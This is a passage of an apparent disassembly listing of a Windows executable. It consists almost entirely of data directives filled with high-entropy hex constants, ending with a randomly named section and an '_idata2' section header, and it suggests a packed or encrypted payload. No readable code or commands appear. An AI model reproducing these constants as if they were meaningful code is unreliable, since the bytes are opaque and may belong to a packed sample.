0FBB8B626h, 50769A32h, 0A24E66FBh, 0C95BC9FBh, 1838FBBAh dd 650B4BFCh, 845BC80Ah, 0A756C0Ah, 22939DB9h, 12E4A07Bh dd 567D6981h, 5B7F3136h, 0BA64FC78h, 0F81CD4D9h, 645008A3h dd 8978EC01h, 0B3369BF9h, 0B27BC9FDh, 0B1E40A3Ah, 0DAE48658h dd 0FDE89CFDh, 0C1475A23h, 12DEB326h, 9CA6FE62h, 0FC0D5F08h dd 0BA8D394Dh, 25724889h, 33FEB213h, 4DFE3872h, 77159746h dd 0FE85E125h, 9DB81F14h, 0BC15A48Eh, 73E729B7h, 0E7CE53BDh dd 410438BAh, 2F8B120Eh, 0EF0ADCC4h, 0ED5B6A6Ch, 1B1C6B3Fh dd 7A0DF6A0h, 0EDCF9CEDh, 9F706E05h db 0DBh, 0A5h word_4BB922 dw 7393h ; DATA XREF: sub_4108D0+2F4o dd 59B8401Dh, 1F1B1E44h, 0B7D13E72h, 7C6DDD87h, 0E52D0F6Eh dd 0D6178F05h, 0FBAA8AD1h, 3DB95BDEh, 7ECB09ACh, 5587B73h dd 4217CF95h, 0F01EDA36h, 6145DA11h, 45BB9D39h, 5DD20AC3h dd 0D42F0C17h, 1FB7EDE0h, 0DB1EDC11h, 60FE056h, 0E0527763h dd 25EFBA94h, 8158EAFFh, 0B0BEEE4Bh, 5D79702h, 9D2E5234h dd 150B1DB3h, 0DF0C8601h, 8C211068h, 0B65C455Bh, 0D87056Ah dd 5D4F656h, 3E6506FAh, 0DBC5D770h, 10B180B9h, 70265BB6h dd 0B66DA9C0h, 3E1707A9h, 2F200E6Fh, 0A5D9DE02h, 4B5C45B6h dd 0AAC10B6Dh, 0FBCE1767h, 8D52A1B7h, 0B801089h, 0DAFC970Fh dd 0D805C916h, 59063E08h, 93F1F30h, 76940841h, 9B5C0A5Bh dd 4A3FC48Ch, 410A0Bh, 64EC3020h, 0CA9B200Ah, 0B1F2F15h dd 0A34D924h, 17003D73h, 0FF497D12h, 9B8DE9CDh, 5CBB922Dh dd 245B056Fh, 5B9F877h, 0C3410B76h, 2DC4B296h, 400AF4ECh dd 0C56248Eh, 20BC0AFBh, 4D0C98F2h, 380A97AFh, 4D640D92h dd 0B32E6DB9h, 0BCC7AC46h, 0E42410Eh, 110E114Eh, 6BC4AD0Ch dd 8F346B00h, 5542F76h, 0A85E8FB7h, 7E0F124Bh, 6C30AF2Eh dd 0B88C0FFCh, 411031FCh, 377CC048h, 44934110h, 94110D2h dd 0A8D4E1Dh, 6A21F6F0h, 8BEC310Ah, 0A42E0A7Ah, 0AB79E046h dd 7DF6D419h, 9C334D11h, 9F119FECh, 8F11A5BCh, 13B19CB0h dd 2A1771B6h, 0A3F37386h, 0F0A3D655h, 71FE2317h, 125B638Ch dd 3431ED50h, 0A1F0051Ah, 2E346862h, 24411239h, 12143E7Bh dd 0E148141h, 0E016C668h, 12EFCEFCh, 90ECC524h, 0B77D4413h dd 0B6F958D1h, 0DA42183Eh, 49EF0557h, 13AE05AFh, 0B4E44464h dd 144FBD13h, 91559797h, 7123E814h, 46106E42h, 638655E3h dd 0ABC68DF4h, 14DA6D20h, 31CF3AFBh, 16F2B75Dh, 3228EB0Ah dd 0A17EF60h, 1822489Fh, 0E2F29F3Ch, 3620FF36h, 33372B19h dd 370AB99Fh, 0BFEA381Ch, 7853A7B7h, 4684A515h, 1C1A48DFh dd 1A813E7Eh, 946CD012h, 2EB2B90Ah, 3CC94BCDh, 3AB1321Bh dd 7C0EBC18h, 3C140A63h, 0D637C2D7h, 3F85B3A0h, 20BFFB55h dd 53DEAC4h, 0D588417Dh, 0C62E5A7Bh, 0EE791022h, 18FED13Fh dd 101C6F75h, 0D8B7F7ABh, 0A1562105h, 0F36C35EFh, 0DF0C6722h dd 3DAF1C05h, 3842ABF6h, 58F81C99h, 1666C7BDh, 1CF91C94h dd 7D2AE408h, 0DC6080Dh, 60B75356h, 0C3162336h, 14F211B3h dd 0F8FE10A0h, 23363DEh, 11C9E415h, 6225BBDDh, 897E0506h dd 0D808CD8Fh, 119B1E5Eh, 2E2AD720h, 646C6A0Bh, 0C200674Ch dd 3D731C84h, 73C06CFBh, 229C2790h, 0FB627E5h, 0D77E52A7h dd 0A9353B06h, 0D80783Eh, 34D156CBh, 0BABBF839h, 4411CD3h dd 1D0F3D5Fh, 0D88E408Fh, 278D73E2h, 1920B84h, 0C1961BEAh dd 411E585Dh, 0B23BA509h, 0CCE13A1Eh, 1FB2F76Ch, 341CE80Ah dd 0F920593Ah, 0BBE6500Ah, 0E717AE72h, 865D8F9Ah, 0F9188632h dd 306586F6h, 4FB80520h, 0B100080Bh, 80E06221h, 0A167E36Eh dd 8D427316h, 5847B89h, 0E7402162h, 22A2DF68h, 23E880Ah dd 61B07B24h, 0E70A251Bh, 48BF91DEh, 2627EC4Dh, 42FD5F82h dd 6FC32784h, 28BE2B35h, 27C380Ah, 0C873F329h, 1DF4813Fh dd 41932955h, 0D91565A2h, 0FB760AE7h, 2B325E20h, 41C30AFBh dd 152BC1F6h, 0C92C174Eh, 2E22CF0Ah, 11368701h, 3E400A63h dd 8B792FC2h, 0CF30F2F3h, 318492D9h, 63762FAh, 0D2328C45h dd 84220A5Fh, 0A5F3D34h, 83C72240h, 6264345Fh, 761595D9h dd 0C55D0AB1h, 81622097h, 57162035h, 0CF0A3737h, 0C823F2A1h dd 7938823Eh, 3A32F3E8h, 63829E0h, 780A630Dh, 0C93B323Eh dd 3B3FC24Ch, 824F3CC1h, 0F1F152C6h, 37C8CCAAh, 9199540Dh dd 0A90549B7h, 9323D032h, 971DBDAEh, 8EFA710Ch, 0CAFE4DFBh dd 5CA4C8Ch, 48923C39h, 0B90A646Ch, 7BE98376h, 0E1864FAAh dd 99197C27h, 0EC5D5F94h, 0BF29C632h, 5D3CD870h, 0D4467EFBh dd 647D1111h, 0ADFD7E52h, 0FC806105h, 0FD617D56h, 0C005F5F9h dd 0D4358F56h, 1C436213h, 0DEF3103Ah, 0EBF29305h, 0E0D88325h dd 57DC5856h, 2204F705h, 8C3BD971h, 11BE0CEh, 0D7E54FBEh dd 4515DFCFh, 92581CE0h, 59F57B39h, 3B0FF30Ah, 3C6B5BCFh dd 3ED08E72h, 0FD60871Eh, 0F73FDC0Ah, 0EF0A61F8h, 0BE2B404Bh dd 79B60A62h, 0FAF14D2h, 9164AC20h, 23D20A5Fh, 65723EECh dd 7D425B7Ch, 0AF26679h, 0EB6733C6h, 0ECBD432Dh, 0A5F8E68h dd 0FA6A9E55h, 71B8B98Fh, 59E0D0Ah, 0E5A812E0h, 0EDFC4C5Fh dd 5D81A57h, 0DBDF1CE8h, 6B840127h, 0C3AA781Ah, 0DBCC1BD8h dd 1E34DBAFh, 5FE5B705h, 6FF43C69h, 6C78D2BFh, 0A1246B1Ah dd 720A3ED9h, 2023B72h, 0A77AE5Bh, 7B99C010h, 1C16AB7Fh dd 0B9D603E8h, 97DC5C0Ah, 416CD06Bh, 42ECB821h, 706F0B6Dh dd 6E57C238h, 95393E5Dh, 77D68A26h, 0BB4C475h, 0F1FCA5F4h dd 1105F968h, 7BDC0971h, 0C1467772h, 0E31CD5A1h, 0A17C578h dd 0BDEF7DCCh, 0A8F880Bh, 5A3C336Fh, 396B473Eh, 3EAD733Eh dd 705BB0AAh, 3DFE1D79h, 0FC292E25h, 10700605h, 0D1BF4EDFh dd 93B761F2h, 0A3E5A305h, 1A7177C3h, 0D6036579h, 6E5D9079h dd 3D6C168Dh, 0A8C95DEh, 1AEF368h, 32E7BD74h, 3EAD65D5h dd 0DE24DA60h, 0BC4FEF05h, 7C7A1005h, 22F65C22h, 0C858330Ah dd 7774853Ah, 417A47F3h, 0E7FE8710h, 0F6447AB1h, 0B8CA1560h dd 0E24DFB3Eh, 7A05C27Dh, 0DBFBC49Bh, 0A517F288h, 0DE18F60Ch dd 0B711041Bh, 12FC275Ah, 117BC227h, 2E21BA3Eh, 9FD1EE10h dd 3E6F4FF0h, 0D8059FE1h, 0FBEF7B24h, 0CB41AEB4h, 3F3F5B11h dd 89DB0106h, 0EAB77F3Fh, 0A109F705h, 547775FFh, 34DF767Bh dd 0A635981h, 5FFE0F8Bh, 0DF457B84h, 21657981h, 8B7285C9h dd 1663CC03h, 0F4217D2Ch, 0FB240A8Ch, 108F7C2Eh, 0CC1496Dh dd 2C6FD89Fh, 6FBF6619h dword_4BBF6C dd 68051E59h, 0AC39637Ch, 2C7DEA3Eh, 7DF19D87h, 0C41D5097h ; DATA XREF: sub_40C8D0+381o dd 2658417Eh, 770B2C76h, 3FEC17E0h, 587A527Eh, 883B149Eh dd 0A3D5CB3Ah, 96E92F5Ah, 0B81AB547h, 0F95023CEh, 0D801672Fh dd 87AF7EC2h, 7F70C1F5h, 67771B97h, 0EC14A00Bh, 9CE70B5Eh dd 5F1DE090h, 866A8F80h, 448E5788h, 0A5AAED25h, 79F5053Eh dd 0B07D4B54h, 0F6978056h, 230B70C3h, 0A0D37F9Ch, 0B68D50DDh dd 0BEF41C75h, 0FA96A805h, 2D515FE8h, 6552D1F5h, 0DC9F29B3h dd 0AD0F816Dh, 0C5C6F635h, 0FA1DE0A6h, 1FA3EA5Ah, 0FF81FE16h dd 1261053Bh, 80374B8Ah, 7E8FA9F6h, 52F90540h, 5B80FD1Fh dd 1ABFA69h, 3B816CBEh, 0E51E9468h, 3589FF81h, 0B5450165h dd 1CD63B71h, 69B60585h, 0C07DA503h, 4B888232h, 0A376A7Bh dd 3C351F15h, 0DB200A63h, 41054AB0h, 0BD518284h, 0CE888286h dd 0E61C3316h, 0A1DC6CCEh, 426CDBCEh, 18179DCEh, 265D752Fh dd 0B1448989h, 3ACDFA85h, 17F5805Ah, 0F614076Bh, 0B00543EAh dd 1FF3B4Ch, 40B7AC57h, 0E688B9FDh, 381CAD25h, 59E08DAh dd 53C2DEFh, 0E56582FEh, 0B8315ECh, 3A9829B9h, 5C0A3F36h dd 0FAA08D9Ch, 3283A2B3h, 16C1EC77h, 0C7909867h, 4184AA1Eh dd 0DC0EE223h, 79B00BCEh, 95838F7h, 0B85EC78h, 63995467h dd 0E138071Dh, 476BE03Ah, 0CD99E07Dh, 0C105BD86h, 0F4B79B33h dd 81F82373h, 58349F8h, 8623C2C4h, 0ED363E77h, 1DD71F98h dd 5FB5A22h, 5F722EBh, 1B36677Fh, 0B13305EEh, 0D9CD2986h dd 87AC0B07h, 87109CB1h, 0B723597h, 0D1E220EEh, 0FB70AD4Bh dd 0FEE1B3BFh, 667C0503h, 0AE07FDC3h, 50FF64Bh, 3E8287F5h dd 0B7A01AD9h, 0DB5652D6h, 6E80291Fh, 0AD303F56h, 4188BF47h dd 583E7025h, 0AB58F888h, 0A9295FBh, 3C08001Ch, 0B765881Ah dd 0F889B4ECh, 978A17BCh, 0B40B673Fh, 0AAED513Ch, 3B2733DDh dd 380B6061h, 128BE4h, 0AB8C18F6h, 0AED3933Eh, 79FDFADh dd 6F798306h, 60C0F05h, 97BFF395h, 0AA05E60Ch, 0E465658Ch dd 28B08CE9h, 0C95E4B16h, 8D7B8D2Dh, 64180B8Eh, 938FB146h dd 0E4DDD3DCh, 60C17389h, 0C1837A5Eh, 84DBB4BCh, 5C192390h dd 0E70B7EECh, 9EA9936Ch, 0AD76B060h, 0AC91620Eh, 9180BD2Fh dd 92862397h, 93AEF591h, 0FED9B865h, 48C4CF0Bh, 1EA39483h dd 0DBD54B45h, 757B8005h, 562DF32Ah, 357D9794h, 0E60B95B2h dd 39660898h, 272F95ADh, 740B6396h, 8049227Dh, 9717E40Bh dd 2393BC67h, 6692A49Eh, 0B8E7C346h, 5997DDE1h, 40B3AD1Fh dd 554D0BD5h, 4F3FE6EDh, 0EE811605h, 0D20B9E7Fh, 0E814FF99h dd 804B97F1h, 660A98B2h, 93C84D7Ah, 521E38A3h, 602CBAC2h dd 232C05D7h, 98B275B6h, 66D59A97h, 0B5832623h, 1CD71DACh dd 796D05C6h, 28D1E482h, 9A099799h, 45309B42h, 0A09BAE5Dh dd 0B1F74141h, 0EBE0ACFh, 15CBFEE2h, 829D22C2h, 129D315Eh dd 9D37F25Eh, 2380E25Dh, 5D723FAAh, 8B6088C3h, 90683E25h dd 6AB59694h, 4105E8Ah, 9708E897h, 0FD8DFFE8h, 0EE81FB75h dd 18BC3292h, 4D9ABB56h, 17F4309Ch, 11168B47h, 2C66BBFh dd 0FAC78BE9h, 0E883C22Bh, 119DA05h, 0FC9DF20h, 0FF83C8B6h dd 0E9C103E0h, 8BA5F302h, 0A4F3C8EEh, 0D003FF11h, 2BE907C6h dd 0EAB783D7h db 21h, 57h word_4BC2F6 dw 1101h ; DATA XREF: sub_40D530+2A7o dd 4BF41712h, 672FC375h, 0FF2B664Dh, 61AAF3CFh, 0C981F3C3h dd 1E0636F4h, 81ABB6D2h, 1000FEF8h, 23F30040h, 1DD4A80Dh dd 0F2D46F90h, 33FBE983h, 300468F3h, 13F27F83h, 0C6135FC8h dd 0BDF0BF0h, 23B644CBh, 0B8802C9h, 0BE529140h, 3259123Fh dd 80E2F2D3h, 0DE0212E9h, 3C220237h, 0AF0F0BDDh, 0C9B61EBDh dd 48B01588h, 326210DCh, 0F3DBCBADh, 0FE5D1A4Bh, 0C933F251h dd 0DFD93BF2h, 8BA45409h, 0B975DBC1h, 0F3D4A41Eh, 0E03E5B0Bh dd 0BEC4F0h, 0F249BF70h, 0F7BBB91h, 22392855h, 5CB9566Fh dd 91DDF359h, 6F34408Ah, 0F232191Eh, 86F281FFh, 8AF2860Ch dd 0EA80E30Eh, 656DE130h, 5F236358h, 38152F95h, 0A656220Ah dd 0F29FFDB7h, 0CEFFC3F7h, 136F9A00h, 0B775C3F5h, 43F0B8C0h dd 0F304F2FDh, 0B0C603F3h, 28AA805Dh, 1C86358Dh, 41D9764Fh dd 0B8EF5Fh, 0AF3F70Bh, 3D7EB71Ch, 0C8BFF61h, 0F2C82B11h dd 8EC1DD68h, 0FF5052F3h, 255B8864h, 0E2916888h, 8BDF0364h dd 0F2591F22h, 5A04220Ch, 0DC59155Eh, 0D32A4632h, 74146E11h dd 3705FB02h, 73055D83h, 0C146F2FDh, 0BD4B10C8h, 2BB2F1FAh dd 6D4FD89Eh, 827590FBh, 48BB6ABBh, 7A286DBDh, 74D13085h dd 4C2FB829h, 50000900h, 2E82BD21h, 17A76BB1h, 704D65ACh dd 38DC2A76h, 3D88ADD7h, 53AEBA51h, 4BADDD11h, 0F3F77A04h dd 5600C96Bh, 10DC2E02h, 75EE7642h, 79D41EC5h, 0ADD08C3h dd 65B5A881h, 751D062Dh, 6F2802EBh, 2D1E8A62h, 0F50FD472h dd 50C75B1Fh, 0C338h, 24000000h, 0FFh, 1DBh dup(0) dword_4BCC18 dd 0 ; DATA XREF: sub_418F60+B4r align 400h _29C6B529 ends ; Section 6. (virtual address 000BD000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000BD000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4BD000h align 2000h _idata2 ends end start